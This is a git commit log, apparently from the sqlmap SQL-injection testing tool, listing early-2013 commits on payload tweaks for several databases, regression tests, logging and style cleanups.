Miroslav Stampar 99bc4a9005 Generic approach for dealing with that nasty Firebird habit of appending spaces to (tec=EU) varchar casted values 2013-01-21 17:17:20 +01:00
Miroslav Stampar b35a0810ef Fix for an Issue #364 2013-01-21 17:01:52 +01:00
Miroslav Stampar 457217f2d3 Fix for an Issue #356 2013-01-21 16:46:48 +01:00
Miroslav Stampar 1e3f68c7ff Rewriting some query crafting parts (especially those .find(' FROM ')) 2013-01-21 16:15:38 +01:00
Miroslav Stampar 832d95984c IFNULL-like mechanism now works on SQLite 2 too 2013-01-21 15:04:27 +01:00
Miroslav Stampar 75bf8528d1 Minor just in case update 2013-01-21 14:50:43 +01:00
Miroslav Stampar c55a002f95 Language fix 2013-01-21 13:19:08 +01:00
Miroslav Stampar 80255433b0 Trivial style update 2013-01-21 13:18:34 +01:00
Miroslav Stampar af0db14963 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-21 13:10:36 +01:00
Miroslav Stampar 0e86175342 Adding new common function for further refactoring 2013-01-21 11:50:47 +01:00
Bernardo Damele e751556e9b Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-21 10:30:54 +00:00
Bernardo Damele eb68da96d6 stylistic update 2013-01-21 10:30:49 +00:00
Miroslav Stampar 65c55a6a49 Fix for escaping single quote character(s) 2013-01-21 11:21:41 +01:00
Miroslav Stampar 3200134b3b Fix for a regression test #30 test case fail (Firebird inline) 2013-01-21 10:12:54 +01:00
Miroslav Stampar aebf2c1350 Slightly better payload for Firebird delay-based SQLi (adding sligtly more delay) 2013-01-20 23:10:58 +01:00
Miroslav Stampar 069c6acabd Another update for an Issue #362 2013-01-20 22:47:26 +01:00
Miroslav Stampar 8f955b6364 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-20 22:16:47 +01:00
Miroslav Stampar a7028af2e9 Patch for an Issue #362 (more work required) 2013-01-20 22:16:34 +01:00
Bernardo Damele fefad3cba1 stylistic improvements 2013-01-20 17:40:15 +00:00
Miroslav Stampar b4a55a809e Refactoring DBMS string escaping functions 2013-01-20 13:45:58 +01:00
Bernardo Damele 3b57fe2924 add test case number to email 2013-01-20 11:43:00 +00:00
Bernardo Damele 3373e30808 minor fix for a bug introduced with commit 1ad9e26a21 2013-01-20 02:40:40 +00:00
Bernardo Damele 845ec006d7 fixed again 2013-01-20 01:33:22 +00:00
Bernardo Damele 115be9d7b5 minor fixes 2013-01-20 01:26:46 +00:00
Bernardo Damele 6f61fc04f1 minor bug fix 2013-01-20 01:22:25 +00:00
Bernardo Damele d46234e30c minor fix 2013-01-20 01:07:00 +00:00
Bernardo Damele 7aa3338bd4 add start and end times to log 2013-01-19 18:33:09 +00:00
Bernardo Damele ac545548b3 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-19 18:28:30 +00:00
Bernardo Damele bedfe1ba1f syntax fix 2013-01-19 18:28:24 +00:00
Miroslav Stampar 0a4f5d2e51 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-19 19:08:18 +01:00
Miroslav Stampar e9641e30db This last commit was in haste :) 2013-01-19 19:07:38 +01:00
Miroslav Stampar 6a87dd9225 Minor update (just for consistency with the rest of code) 2013-01-19 19:07:06 +01:00
Miroslav Stampar 979e108c87 Minor update (just for consistency with the rest of code) 2013-01-19 19:06:51 +01:00
Bernardo Damele f89b25fdb6 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-19 18:04:38 +00:00
Bernardo Damele adf97e630f add possibility to provide a list of web server document root possible directories for web shell upload in --os-cmd and --os-shell for MySQL 2013-01-19 18:04:33 +00:00
Miroslav Stampar 9ce2395405 Minor refactoring 2013-01-19 18:40:44 +01:00
Miroslav Stampar 3f4c010370 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-19 18:28:52 +01:00
Miroslav Stampar efe26ac3f8 In case that content-length header was not in a desired case ('Content-length') POST request file would fail badly (repeating original content-length header value) 2013-01-19 18:28:37 +01:00
Bernardo Damele 6a62292a3f layout adjustment 2013-01-19 17:11:16 +00:00
Miroslav Stampar bb6b89fe93 Patch for an Issue #360 2013-01-19 18:06:36 +01:00
Bernardo Damele dcf2dcd03d all we need to debug failed test cases while regression test run.. 2013-01-19 17:04:57 +00:00
Bernardo Damele f22fd396ef write the test case name before it is run so if the test case crashes badly, we can trace back what test case it was at a later stage 2013-01-19 16:41:19 +00:00
Bernardo Damele 47f0d89fc5 sqlmap.org mail server rejects the email, hence use Gmail 2013-01-19 16:26:22 +00:00
Bernardo Damele 640e0eecc6 improved cron script to report any malfunction by email 2013-01-19 16:25:41 +00:00
Bernardo Damele a24eaffacc fixed --columns on DB2, inline with Oracle and other DBMSes now 2013-01-19 16:14:25 +00:00
Bernardo Damele ab607bd378 minor bug fix to verify test case file exists before it gets read 2013-01-19 16:07:30 +00:00
Bernardo Damele 1923ef691e just in case, add also the test case name inside the temp folder for debug purposes 2013-01-19 16:06:46 +00:00
Bernardo Damele c95119559e minor bug fix 2013-01-19 00:41:51 +00:00
Bernardo Damele b05c6cbd13 leftover 2013-01-19 00:29:42 +00:00
Bernardo Damele 30273e03fe leftover 2013-01-19 00:28:48 +00:00
Bernardo Damele 0e78fbef56 correctly format SQLi payload for inline query technique 2013-01-19 00:28:03 +00:00
Bernardo Damele 32a12c7e2b handle exception reported in issue #359 2013-01-19 00:24:15 +00:00
Bernardo Damele 89ddd54a75 added Firebird inline query payload, requires some work though engine-side for the vector to be usable 2013-01-19 00:05:15 +00:00
Bernardo Damele 10d86d042c enough.. 2013-01-18 23:46:26 +00:00
Bernardo Damele e76213ef5d more fixes 2013-01-18 23:37:13 +00:00
Bernardo Damele 6be7eee8d6 more fixes 2013-01-18 23:35:16 +00:00
Bernardo Damele 56eaa073ce fixed test cases for Firebird - #312 2013-01-18 23:32:39 +00:00
Bernardo Damele edeb181c4f added first bunch of test cases for Firebird, issue #312 2013-01-18 23:17:43 +00:00
Bernardo Damele d1acdee9c4 fixed --count for DBMSes that are single-database 2013-01-18 23:07:16 +00:00
Bernardo Damele 8748cceff3 no point enumerating current database for --count on some DBMSes 2013-01-18 23:04:28 +00:00
Bernardo Damele a390c48692 code refactoring 2013-01-18 23:04:01 +00:00
Bernardo Damele a4b0b98f8f aligned Firebird to recent DB2 string escaping syntax fix 2013-01-18 22:57:57 +00:00
Bernardo Damele 4526e31485 bug fix for Firebird fingerprint (issue #357) 2013-01-18 22:32:58 +00:00
Bernardo Damele b176cdb578 layout adjustment 2013-01-18 22:10:52 +00:00
Bernardo Damele 1f4c6a8371 avoid blank line if password hashes have not been fetched 2013-01-18 22:10:36 +00:00
Bernardo Damele b80e195c78 bug fix for #355 2013-01-18 22:10:10 +00:00
Bernardo Damele 2471f325b2 minor adjustments 2013-01-18 21:47:25 +00:00
Bernardo Damele 1ad9e26a21 bug fix for ORDER BY users provided statements (issue #354) 2013-01-18 21:40:50 +00:00
Bernardo Damele ebd1d3095b done with test cases for Oracle - issue #312 2013-01-18 21:40:11 +00:00
Bernardo Damele d594978857 typo fix again 2013-01-18 20:48:37 +00:00
Bernardo Damele bab9485561 typo fix 2013-01-18 20:48:08 +00:00
Bernardo Damele f3d7be9200 more adjustments for #353 2013-01-18 20:44:56 +00:00
Bernardo Damele 2550bbc05e fix for #353 2013-01-18 20:40:38 +00:00
Bernardo Damele 2463e51e73 added one more test case for DB2 and a few search-related cases for Oracle (issue #312) 2013-01-18 20:37:20 +00:00
Miroslav Stampar 11e27f07e0 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 17:00:20 +01:00
Miroslav Stampar ac7709204a Better fix for that page/headers/comparison --string candidate problem 2013-01-18 17:00:11 +01:00
Miroslav Stampar 8141d17985 Revert of previous commit (more care has to be done regarding headers dynamicity) 2013-01-18 16:49:35 +01:00
Bernardo Damele 6cd780ecc0 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 15:36:32 +00:00
Bernardo Damele 7c7b608b95 more adjustments 2013-01-18 15:36:22 +00:00
Miroslav Stampar 33094a118c Fix for an Issue where '--string' is being automatically picked not looking properly in headers too 2013-01-18 16:35:09 +01:00
Bernardo Damele c61ee5e5ef more adjustments 2013-01-18 15:34:14 +00:00
Bernardo Damele a73aa422fc minor enhancements - #311 2013-01-18 15:29:21 +00:00
Bernardo Damele 0953ce5b08 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 15:10:57 +00:00
Bernardo Damele f49657eacc minor fix to previous commit 2013-01-18 15:10:34 +00:00
Miroslav Stampar 09af079c2d Minor fix 2013-01-18 16:03:54 +01:00
Miroslav Stampar 601eb1e49a Unescaping is renamed to escaping 2013-01-18 15:40:37 +01:00
Bernardo Damele c717de9c9d added regression test cron job script - issue #311 2013-01-18 14:12:00 +00:00
Bernardo Damele a43202f3c0 updated copyright 2013-01-18 14:07:51 +00:00
Bernardo Damele eafc0e776e leftover 2013-01-18 13:54:16 +00:00
Bernardo Damele fb752e6936 catch SMTP exception if any - issue #311 2013-01-18 13:46:50 +00:00
Bernardo Damele 3dd9f29938 layout adjustment 2013-01-18 13:42:48 +00:00
Bernardo Damele 75d0cee994 minor adjustments - issue #311 2013-01-18 13:36:50 +00:00
Bernardo Damele 454f2ae10b ready for production - closes #311 2013-01-18 13:35:27 +00:00
Bernardo Damele 7ccdfc7244 minor enhancements - issue #311 2013-01-18 13:33:05 +00:00
Bernardo Damele 50d7386012 minor fix - issue #311 2013-01-18 13:27:47 +00:00
Bernardo Damele 7c101d9dfc minor fix - issue #311 2013-01-18 13:25:54 +00:00
Bernardo Damele c8b1013c42 minor fix - issue #311 2013-01-18 13:20:19 +00:00
Bernardo Damele 13b776fb9f minor fix 2013-01-18 13:10:26 +00:00
Bernardo Damele 5375c705a0 minor fix 2013-01-18 13:09:50 +00:00
Bernardo Damele 27d9d42bd6 minor adjustments - issue #311 2013-01-18 13:05:24 +00:00
Bernardo Damele 1bb061f68c improvements to --live-test 2013-01-18 13:02:35 +00:00
Bernardo Damele b3d9f1a907 more impovements, issue #311 2013-01-18 13:02:23 +00:00
Bernardo Damele 738ccb643d minor output adjustment 2013-01-18 11:41:09 +00:00
Bernardo Damele 9354ec688e Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 11:04:04 +00:00
Bernardo Damele de26a31493 more enhancements - issue #311 2013-01-18 11:04:00 +00:00
Miroslav Stampar 33ea811c6c Removing some unused stuff (mainly imports) 2013-01-18 11:50:02 +01:00
Bernardo Damele a7cab63796 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 10:44:43 +00:00
Bernardo Damele dcec56e002 first implementation of automated regression test script (issue #311) 2013-01-18 10:44:38 +00:00
Miroslav Stampar aa467cb54c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-18 11:31:25 +01:00
Miroslav Stampar 17d36684b5 Removing obsolete proxy handling code (Python < 2.6) 2013-01-18 11:30:52 +01:00
Miroslav Stampar e7576a3b11 Better naming 2013-01-18 11:21:23 +01:00
Miroslav Stampar 4d5bae7131 Removing some obsolete functions 2013-01-18 11:18:56 +01:00
Miroslav Stampar bcc907ce09 Minor update 2013-01-18 11:00:21 +01:00
Miroslav Stampar d1008b45b5 Minor removal of unused function 2013-01-18 10:46:06 +01:00
Miroslav Stampar caae773b2d Minor removal of redundant code 2013-01-18 10:44:57 +01:00
Bernardo Damele d66f7e22b1 more fixes to test cases 2013-01-18 09:32:05 +00:00
Bernardo Damele a92ae93847 minor bug fix to properly identify if user is admin on Oracle across all techniques 2013-01-18 09:22:53 +00:00
Miroslav Stampar 1599b5e37f Fix for an Issue #351 2013-01-18 10:20:45 +01:00
Miroslav Stampar b0a13be985 Just a little refactoring 2013-01-18 10:12:45 +01:00
Bernardo Damele e4ee4f9557 fixed some test cases 2013-01-17 23:17:33 +00:00
Bernardo Damele ce263b794f on DB2 there are no users password hashes to dump 2013-01-17 22:17:55 +00:00
Bernardo Damele d1b91790f5 fixed --count on DB2 2013-01-17 22:13:59 +00:00
Bernardo Damele 5225375048 proper fix 2013-01-17 22:04:21 +00:00
Bernardo Damele d2d3878de1 typo fix 2013-01-17 21:58:53 +00:00
Bernardo Damele b231e52980 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-17 21:58:23 +00:00
Bernardo Damele a5e9168993 minor fix because boolean-based blind on DB2 is a little bit different from other DBMSes 2013-01-17 21:58:15 +00:00
Miroslav Stampar e941e60b20 Minor just in place update for an Issue #348 2013-01-17 22:44:55 +01:00
Bernardo Damele 1d6e642d41 fixed url 2013-01-17 21:29:00 +00:00
Bernardo Damele 38eb4eb33e Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-17 21:03:11 +00:00
Bernardo Damele b6e44ae64e fix for #349 (compatible with all others DBMSes too) 2013-01-17 21:03:03 +00:00
Miroslav Stampar a8e3fd58c5 Implementation for an Issue #348 2013-01-17 21:49:58 +01:00
Miroslav Stampar 081e7a3b96 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-17 21:49:41 +01:00
Bernardo Damele acac8c359b fixed --current-db query for IBM DB2 2013-01-17 20:47:35 +00:00
Miroslav Stampar 8480ceddcb Minor style update 2013-01-17 19:55:56 +01:00
Miroslav Stampar 507f185b69 Revert of patch for an Issue #347 2013-01-17 18:38:37 +01:00
Miroslav Stampar 9dd69042de Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-17 15:31:55 +01:00
Miroslav Stampar f7eda07d92 Patch for an Issue #347 2013-01-17 15:30:14 +01:00
Bernardo Damele 5e059ab6db added check for DB2 lib 2013-01-17 14:20:34 +00:00
Miroslav Stampar a38b3e397c Patch for an Issue #286 2013-01-17 14:17:39 +01:00
Miroslav Stampar 65273295e3 Implementing a check for an Issue #25 2013-01-17 13:56:04 +01:00
Miroslav Stampar 9428d1819e Fix for an Issue #346 2013-01-17 12:03:02 +01:00
Miroslav Stampar 3ab4a5e36d Fix for an Issue #345 2013-01-17 11:50:12 +01:00
Miroslav Stampar 51a77d1fe2 Minor update for an Issue #8 2013-01-17 11:37:45 +01:00
Miroslav Stampar f11e9ffe40 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-17 11:34:13 +01:00
Bernardo Damele 74286e339f test if boolean also works correctly for --os-cmd 2013-01-16 15:36:35 +00:00
Miroslav Stampar 14b7e655a9 Minor refactoring 2013-01-16 16:33:04 +01:00
Bernardo Damele 6f08d10d07 leftover 2013-01-16 15:16:18 +00:00
Bernardo Damele 8d0ab2fd43 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-16 15:14:04 +00:00
Bernardo Damele 1c8bd95e68 more work on Oracle test cases (#312) 2013-01-16 15:13:47 +00:00
Miroslav Stampar 053b7d12b4 Minor language update 2013-01-16 16:07:12 +01:00
Miroslav Stampar 4bdc0a8a7f Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-16 16:04:18 +01:00
Miroslav Stampar fb7243c237 Cleaning a mess where multi-threaded HTTP requests (in log) had sometimes same UIDs 2013-01-16 16:04:00 +01:00
Bernardo Damele f25d7ffc14 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-16 15:00:54 +00:00
Bernardo Damele 6b0ed1c581 fixed parsing reg exps to work with Oracle XE (#312) 2013-01-16 15:00:45 +00:00
Miroslav Stampar c0a6e1c3a7 Finishing first usable prototype for an Issue #8 2013-01-16 14:54:37 +01:00
Miroslav Stampar ff5ec48abd Minor update for an Issue #8 2013-01-16 14:16:22 +01:00
Bernardo Damele 3464a70ac2 bug fix: without this generic concatenation of strings in concatQuery(), detection of UNION query SQLi only (--technique U) when the page did not disclose any DBMS error message and it was not MySQL (for which there are UNION SQLi specific payloads) was not detected 2013-01-16 01:53:33 +00:00
Bernardo Damele 542f6de72e typo fix 2013-01-16 01:31:03 +00:00
Bernardo Damele a3493769ca minor fix 2013-01-16 00:45:18 +00:00
Bernardo Damele 983593510c ported Oracle checks to express edition 2013-01-15 23:59:29 +00:00
Bernardo Damele e16ad38d3e more work on #342 2013-01-15 18:15:07 +00:00
Bernardo Damele 329047fc12 restored fix for #210 to keep --hex work with --technique B 2013-01-15 17:51:40 +00:00
Bernardo Damele 404ecbcaec typo fix 2013-01-15 17:14:58 +00:00
Bernardo Damele 2a751e075d more work on #342 2013-01-15 17:14:44 +00:00
Bernardo Damele ec076f5f8a write console output to temporary folder in any case the test case fails, even if no traceback is raised 2013-01-15 15:51:03 +00:00
Bernardo Damele 4eaa0d17aa Fix in forging query to calculate query output length - closes issue #342 2013-01-15 15:50:20 +00:00
Miroslav Stampar 7a1d484115 Implementation for an Issue #340 2013-01-15 16:05:33 +01:00
Bernardo Damele 3f84cefc77 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-15 14:59:22 +00:00
Bernardo Damele 1cafe605af added more Oracle test cases 2013-01-15 14:59:15 +00:00
Bernardo Damele c51358953a add more Oracle system dbs 2013-01-15 14:51:29 +00:00
Miroslav Stampar 04aa39f0c6 Minor update 2013-01-15 13:51:19 +01:00
Miroslav Stampar 02f0e72cc6 Minor update of other/corner case titles 2013-01-15 11:10:03 +01:00
Miroslav Stampar 498a576e39 Removing obsolete data 2013-01-15 10:59:46 +01:00
Miroslav Stampar 5ee653dd89 Merging commit 57bcbb458eade2850a6d7623ecddbe49c69cf334 from @morisson 2013-01-15 10:14:02 +01:00
Miroslav Stampar 461ee24dcd Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-15 10:02:46 +01:00
Bernardo Damele 3fa720e699 added first Oracle test cases 2013-01-14 17:30:42 +00:00
Bernardo Damele 8a2b994b94 added SQLite test cases (issue #312) 2013-01-14 16:50:24 +00:00
Bernardo Damele 413b5e7ab4 fixed error message 2013-01-14 16:49:05 +00:00
Bernardo Damele e555c2be30 added support for --search -T for SQLite 2013-01-14 16:26:11 +00:00
Bernardo Damele 8cff8301f5 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-14 16:17:53 +00:00
Bernardo Damele 48e0154fc3 added SQLite inline queries payload 2013-01-14 15:30:01 +00:00
Miroslav Stampar 2cac7e860e Minor refactoring 2013-01-14 16:27:50 +01:00
Miroslav Stampar 31302eb707 Minor update 2013-01-14 16:26:07 +01:00
Miroslav Stampar 2a86c1cadc Another cosmetics 2013-01-14 16:24:55 +01:00
Miroslav Stampar 1e1f560d0c Minor cosmetics 2013-01-14 16:24:28 +01:00
Miroslav Stampar 0c2474cc22 Minor update 2013-01-14 16:21:40 +01:00
Miroslav Stampar a5a309212a Fix for an Issue #339 2013-01-14 16:18:03 +01:00
Bernardo Damele e835a2af9a minor bug fix 2013-01-14 13:43:03 +00:00
Bernardo Damele 3e2c3851f3 Make --live-test Metasploit integration cases work, added more test cases for PostgreSQL and code refactoring (issue #312) 2013-01-14 13:42:50 +00:00
Bernardo Damele 279f6cb9ce minor bug fix for PostgreSQL --file-read 2013-01-14 12:22:15 +00:00
Bernardo Damele bd89ade02f minor bug fix for PostgreSQL --file-read 2013-01-14 12:22:00 +00:00
Bernardo Damele c6d4b89869 minor bug fix for PostgreSQL (issue #338) 2013-01-14 11:41:30 +00:00
Bernardo Damele 515c1c6205 removed leftover 2013-01-14 10:26:22 +00:00
Bernardo Damele 146d9fedf0 fix for bug #337 2013-01-14 10:24:45 +00:00
Bernardo Damele b35b8a4835 fixed regexps for --live-test (issue #312) 2013-01-14 10:24:11 +00:00
Bernardo Damele 83000de9e1 improved handling and storing of exceptions with --live-test (#312) 2013-01-14 10:23:40 +00:00
Bernardo Damele 8125fe90a7 code refactoring 2013-01-14 10:22:38 +00:00
Bernardo Damele 4acb281414 added first test cases for PostgreSQL 2013-01-14 01:11:57 +00:00
Bernardo Damele 036b612bcb bug fix to be able to write unicode chars to debug file 2013-01-14 01:11:42 +00:00
Miroslav Stampar fc560f2b75 Minor revert and proper fix 2013-01-14 00:47:29 +01:00
Bernardo Damele b74cfbf336 minor enhancements for debug purposes (issue #312) 2013-01-13 23:15:56 +00:00
Bernardo Damele fdd6075859 temporary patch to fix UNION query enumeration 2013-01-13 23:08:23 +00:00
Miroslav Stampar 92ea8841f8 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-13 16:23:09 +01:00
Miroslav Stampar 03dd958d96 Implementation for an Issue #48 2013-01-13 16:22:43 +01:00
Bernardo Damele 327db5458d 755 is ok for the main files - issue #333 2013-01-11 15:15:58 +00:00
Miroslav Stampar 81848c723d Minor cleanup (we officially support Python >= 2.6) 2013-01-11 16:01:48 +01:00
Bernardo Damele 675e4a026b Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-11 13:31:49 +00:00
Bernardo Damele 41834e7a5b working on #8 - still not usable though 2013-01-11 13:31:44 +00:00
Miroslav Stampar db91137eda Fix for an Issue #333 2013-01-11 14:09:30 +01:00
Bernardo Damele 2a2d7e886d align to MSSQL connector 2013-01-11 10:52:03 +00:00
Miroslav Stampar cd420468f3 Minor update of doc/THANKS 2013-01-11 11:24:51 +01:00
Miroslav Stampar bc4d8d3e02 Implementation for an Issue #332 2013-01-11 11:17:41 +01:00
Miroslav Stampar 5571d09354 Minor revert 2013-01-11 11:13:55 +01:00
Miroslav Stampar 4b79269608 Minor bug fix 2013-01-11 11:10:18 +01:00
Miroslav Stampar ec4e49d771 Minor refactoring 2013-01-10 16:09:28 +01:00
Miroslav Stampar 1363f26367 Minor refactoring 2013-01-10 15:59:02 +01:00
Miroslav Stampar 834be1eddc Restyling redundant 'except Exception' form 2013-01-10 15:54:28 +01:00
Miroslav Stampar acfeeb4f51 Restyling old form of urlparse 2013-01-10 15:41:07 +01:00
Miroslav Stampar da7f63f125 cx_Oracle.DatabaseError is an ancestor of cx_Oracle.InternalError 2013-01-10 15:33:32 +01:00
Miroslav Stampar 8686c20fa5 Removing one obsolete instantiation line 2013-01-10 15:27:35 +01:00
Miroslav Stampar 934d41dac2 Minor style update (PEP8) 2013-01-10 15:02:28 +01:00
Miroslav Stampar ca3d35a878 Some PEP8 related style cleaning 2013-01-10 13:18:44 +01:00
Miroslav Stampar 6cfa9cb0b3 Removing unused imports 2013-01-10 12:15:12 +01:00
Miroslav Stampar 05705857a9 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-10 12:09:48 +01:00
Miroslav Stampar ca1c0c2a1d Minor style update 2013-01-10 11:54:07 +01:00
Miroslav Stampar 7ea846e111 Removing some junk from queries.xml 2013-01-10 11:46:51 +01:00
Miroslav Stampar ebde4b190e Minor update 2013-01-10 11:42:37 +01:00
Bernardo Damele ca337159f5 added reminder TODO 2013-01-10 01:11:22 +00:00
Bernardo Damele 8093f3950d properly distinguish stdout from stderr with a separate pipe (tracebacks go to stderr) - issue #297 2013-01-10 00:52:44 +00:00
Bernardo Damele 10f1099944 remove logging handler that shows logging messages to stdout - issue #297 2013-01-10 00:51:56 +00:00
Bernardo Damele ccc3c3d1a3 minor fix to distinguish stdout from stderr 2013-01-10 00:51:05 +00:00
Bernardo Damele ef40779ad3 upgraded to use custom subprocessng for non-blocking send and read functions for spawned processes. Added new method to display range of log messages, just in case and improved parsing/unpickling of read log messages 2013-01-10 00:01:28 +00:00
Bernardo Damele 2126a5ba12 minor index fix 2013-01-10 00:00:00 +00:00
Bernardo Damele 9766f6025e logging is now handled in a separate file descriptor :) - issue #297 2013-01-09 22:09:50 +00:00
Bernardo Damele 794700eb37 preparing to handle logging calls by a separate file descriptor when sqlmap is executed by the REST API - issue #297 2013-01-09 22:08:50 +00:00
Bernardo Damele d120dc18d1 cleanup 2013-01-09 22:06:27 +00:00
Bernardo Damele 58a60562ac avoid exiting with a traceback for missing dependency, handle properly at some point 2013-01-09 16:05:55 +00:00
Bernardo Damele 7f4ce4afbb Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-09 16:04:29 +00:00
Bernardo Damele 510ceb6e19 first attempt to have --os-pwn and other takeover switches work across Windows and Linux - issue #28 2013-01-09 16:04:23 +00:00
Miroslav Stampar bf5544903b Minor style update 2013-01-09 16:10:26 +01:00
Miroslav Stampar 9bdcb1176d Update for an Issue #169 2013-01-09 15:58:13 +01:00
Miroslav Stampar 25f01a419f Minor style update (for the sake of consistency over the code and our PEP8 adaptation) 2013-01-09 15:38:41 +01:00
Miroslav Stampar bdd2592848 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-09 15:22:30 +01:00
Miroslav Stampar 3d4f381ab5 Patch for an Issue #169 2013-01-09 15:22:21 +01:00
Bernardo Damele c44a829b9b pass a pickled options object to sqlmap engine when called from API 2013-01-09 12:34:45 +00:00
Bernardo Damele 8457cff278 added variable to store the live test traceback if any 2013-01-09 12:33:18 +00:00
Bernardo Damele f11747732e added missing command line options 2013-01-09 12:30:13 +00:00
Miroslav Stampar 55a552ddc4 Update for an Issue #24 2013-01-08 10:55:25 +01:00
Miroslav Stampar 614f4657f1 Removing timedelay tags inside queries.xml as we don't use those outside the payloads.xml anymore (Update for an Issue #24) 2013-01-08 10:30:01 +01:00
Miroslav Stampar ad85c4c964 Minor refactoring for an Issue #295 2013-01-08 10:23:02 +01:00
Bernardo Damele c155c6df84 minor bug fix for user's provided LIMIT'd statement when technique is full UNION SQLi 2013-01-07 23:31:11 +00:00
Bernardo Damele 019fca84a2 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-07 23:12:31 +00:00
Miroslav Stampar 3abe87ac89 Minor fix with status update (Issue #305) 2013-01-07 18:53:08 +01:00
Bernardo Damele f8c5ec7daf Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-07 17:40:14 +00:00
Miroslav Stampar a8f02916a9 Minor fix (Issue #305) 2013-01-07 18:39:35 +01:00
Bernardo Damele 2c9a47f6f3 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-07 17:39:27 +00:00
Bernardo Damele ec7508ec4f test case to reproduce bug introduced at 76839ff 2013-01-07 17:39:13 +00:00
Miroslav Stampar e219fad8bf Added a short comment 2013-01-07 18:19:48 +01:00
Bernardo Damele 8ee840bc8e maintained release is on Google code 2013-01-07 17:11:14 +00:00
Bernardo Damele 1e35b3c8c9 proper link 2013-01-07 16:59:59 +00:00
Miroslav Stampar 96e5d5d178 Some more updates for an Issue #295 2013-01-07 16:55:41 +01:00
Miroslav Stampar 74552bea87 Cleaning some garbage (hard coded paths with linux native slashes) 2013-01-07 16:51:00 +01:00
Miroslav Stampar 425df067eb Fix for an --os-pwn with ICMPsh (it was crashing because methods interleaved with Metasploit ones) 2013-01-07 16:44:22 +01:00
Miroslav Stampar 46e2ad53cd Fix for an Issue #331 2013-01-07 16:36:29 +01:00
Miroslav Stampar ac407ae4a1 Implementation for an Issue #295 2013-01-07 15:55:40 +01:00
Miroslav Stampar 6270e9337b Minor cosmetics 2013-01-07 14:34:20 +01:00
Miroslav Stampar 76839ff9d6 Fix for an Issue #305 2013-01-07 12:52:55 +01:00
Bernardo Damele 1e1892c962 prep for subprocess.. 2013-01-07 11:10:33 +00:00
Bernardo Damele 7fa75792dd Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-01-07 11:10:08 +00:00
Bernardo Damele a30d7014b9 removed unused var 2013-01-07 11:05:33 +00:00
Miroslav Stampar 87e923613f Minor adjustment (URI (marked with custom injection char) has precedence over GET/POST) 2013-01-05 21:16:47 +01:00
Miroslav Stampar dc21f3ce67 Minor just in case filtering of union results 2013-01-04 17:09:07 +01:00
Miroslav Stampar 5b77b20e2e Removing trailing whitespaces (PEP8) 2013-01-03 23:57:07 +01:00
Miroslav Stampar 82b468211d Minor update 2013-01-03 23:38:29 +01:00
Miroslav Stampar f340ce8b4b Minor style update 2013-01-03 23:35:29 +01:00
Miroslav Stampar 1712603dce Replacing deprecated has_key() with operator in (PEP8) 2013-01-03 23:28:07 +01:00
Miroslav Stampar e4a3c015e5 Replacing old and deprecated raise Exception style (PEP8) 2013-01-03 23:20:55 +01:00
Bernardo Damele 3a11d36c66 minor bug fix 2013-01-02 21:49:15 +00:00
Miroslav Stampar cb15fcc8af Fix for an Issue #329 2013-01-02 22:17:06 +01:00
Miroslav Stampar 304e52cb4d Minor language update 2013-01-02 22:11:59 +01:00
Miroslav Stampar 09f1cdd8e1 Minor style update 2013-01-02 21:52:50 +01:00
Miroslav Stampar 0795760255 Minor fix 2012-12-30 11:22:23 +01:00
Miroslav Stampar 75edb84a71 Minor update 2012-12-30 11:10:32 +01:00
Miroslav Stampar 58ad2f1c5d Revert of last commit and proper fix 2012-12-29 10:35:05 +01:00
Miroslav Stampar 0e18fa9c5f Minor fix 2012-12-28 23:43:47 +01:00
Miroslav Stampar 648d91d790 Distinguishing invalid unicode from safe encoded characters (for proper potential decoding) 2012-12-27 22:43:39 +01:00
Miroslav Stampar 3d01890147 Patch for an Issue #56 (full target url is now being written to a output .CSV file in multi target mode) 2012-12-27 21:15:44 +01:00
Miroslav Stampar cb91729913 Fix for an Issue #324 (crawling when HTML is not well-formed) 2012-12-27 20:55:37 +01:00
Miroslav Stampar 127b880577 Minor update 2012-12-27 15:14:40 +01:00
Miroslav Stampar 6ae4590edc Removing problematic per-MySQL LIMIT prefix 2012-12-26 19:48:01 +01:00
Miroslav Stampar 568bd2da83 Trivial update 2012-12-26 17:15:59 +01:00
Miroslav Stampar 8b7cbe03b0 Replacing CRLF with LF in rest of files 2012-12-26 17:12:17 +01:00
Miroslav Stampar eea249c991 Minor update 2012-12-26 16:43:38 +01:00
Miroslav Stampar d7b84b6831 Minor modification 2012-12-26 12:58:52 +01:00
Miroslav Stampar a6671ebb57 adding new file 2012-12-26 12:55:42 +01:00
Miroslav Stampar a77b7f00d9 Fix for an Issue #323 2012-12-23 19:34:35 +01:00
Bernardo Damele 832567ecf6 import order 2012-12-21 23:34:37 +00:00
